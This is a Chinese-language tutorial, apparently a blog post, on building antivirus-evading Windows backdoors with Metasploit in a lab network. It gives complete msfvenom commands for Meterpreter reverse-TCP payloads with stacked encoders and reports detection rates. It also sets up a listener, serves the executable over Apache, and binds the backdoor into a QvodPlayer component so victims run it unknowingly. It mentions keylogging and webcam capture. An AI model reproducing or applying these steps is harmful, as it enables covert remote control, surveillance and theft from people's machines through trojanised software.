渗透测试(一)-Msf生成免杀后门(内网篇)
实验环境:
攻击机:kali linux-2021.1(192.168.56.128)
靶机:Windows10(192.168.1.120)
推荐两个免费在线木马检测网站:VirusScan和VirusTotal
原理图:
1. Meterpreter简介
- Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道,使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接,Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统,在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
- Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的。meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。
- 需要说明的meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。
- Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。
2. 生成shell.exe木马文件
sudo su
使用一个编码器:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.128 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/shell.exe
在VirusScan上检查一下木马程序:
可以看到总共50个查杀引擎,有25个查出了病毒,也就是说免杀率只有50%,效果一般般!
使用两个编码器组合编码:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.128 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 20 | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f exe -o /var/www/html/shell2.exe
同样在VirusScan上检查一下木马程序:
可以看到50个查杀软件有15个查出来了病毒,70%的免杀率,比一次编码的效果要好!
使用一个编码器和两个编码器的区别:理论上使用两个编码器的免杀效果更好,但使用两个编码器编码时花的时间更长,且编码后的程序也更大。
参数介绍:
-a:指定架构如 x86 x64。 x86 代表 32 位, x64 代表 64 位。 32 位软件可以在 64 位系统上运行。 所以我们生成 32 位的后门,这样在 32 位和 64 位系统中都可以使用。 --platform:指定平台,这里选择 windows,通过 --l platforms 可以查看所有支持的平台 -p:设置攻击载荷,我们使用 windows/meterpreter/reverse_tcp,可以通过-l payloads 查看所 有攻击载荷 LHOST:目标主机执行程序后连接我们 Kali 的地址 LPORT:目标主机执行程序后连接我们 Kali 的端口 -b:去掉坏字符,坏字符会影响 payload 正常执行。 扩展:\x00 代表16进制的“00”组成的字符串。通过ASCII码换成能识别的就是:"00" - "00000000" - NUL。由于"00000000"是不可见字符,所以代码中没用。 -e:指定编码器,也就是所谓的免杀,x86/shikata_ga_nai 是 msf 自带的编码器,可以通过 -l encoders 查看所有编码器 -i:指定 payload 有效载荷编码迭代次数。 指定编码加密次数,为了让杀毒软件,更难查出源代码 -f:指定生成格式,可以是 raw,exe,elf,jar,c 语言的,python 的,java 的……,用 -l formats 查看所有支持的格式 -o:指定文件名称和导出位置。 指定到网站根目录/var/www/html,方便在肉机上下载后门程序y
3. 在 MSF 上启动 handler 开始监听后门程序
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.128 set LPORT 4444 run
4. 在 Kali 上启动 apache 为靶机提供后门程序下载
新建一个命令行终端,然后输入:
systemctl start apache2
5. 打开 Win10 访问 Kali 搭建的 Web 服务下载木马文件。
- 在win10的浏览器中输入 http://192.168.56.128/shell.exe 下载shell.exe木马程序。
双击运行shell.exe程序:(点更多信息->仍要运行)
6. 在 MSF 终端查看建立的 session
运行完shell.exe程序,返回kali命令行中可以看到meterpreter会话已经建立成功:
接下来就可以使用meterpreter命令进行一顿乱操作了(例如 屏幕截图,摄像头拍照,远程控制,获取键盘信息,获取系统信息等等)![滑稽]。戳我查看meterpreter命令大全
7. 在软件中加入后门程序
由于制作的shell.exe文件运行是没有任何反应的,且会被Microsoft Defender阻止应用启动,这样会被别人怀疑并杀掉这个进程,那么你的会话就会中断。这个时候我们就需要将木马程序绑定在其它软件程序中,在别人运行其它软件时带着我们的木马程序偷偷的运行,而不会被发现!
关注公众号[人人皆是程序猿],回复【KB】获取软件链接。
下载软件后解压,先查看主程序会调用哪些附加的小程序,然后把后门和这些小程序绑定到一起。当然也可以直接加到主程序上,但是加主程序上,有时后会报错。 当 QvodPlayer.exe 主程序运行时,会自动调用 QvodTerminal.exe 这个小程序。我们的目标就是将后门和QvodTerminal.exe绑定在一起!
- 将QvodTerminal.exe复制到kali中
- 打开命令行输入:
- 生成绑定后门的QvodTerminal.exe程序
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.128 LPORT=4444 -b"\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o /var/www/html/QvodTerminal.exe
- 在靶机(win10)浏览器上访问:http://192.168.56.128/QvodTerminal.exe 下载 QvodTerminal.exe,将下载的 QvodTerminal.exe 替换原文件中的 QvodTerminal.exe
- 重复第3步开启监听
- 双击运行QvodPlayer.exe就可以成功建立会话了
附:msf还可以生成 .c .py格式的攻击载荷,在这里我就不列举了出来!有兴趣的可以自行百度。
目前渗透只能在内网里自己yy多没意思,下面介绍msf外网渗透教程:渗透测试(二)-Metasploit生成免杀后门(外网篇)
青年时种下什么,老年时就收获什么。
——易卜生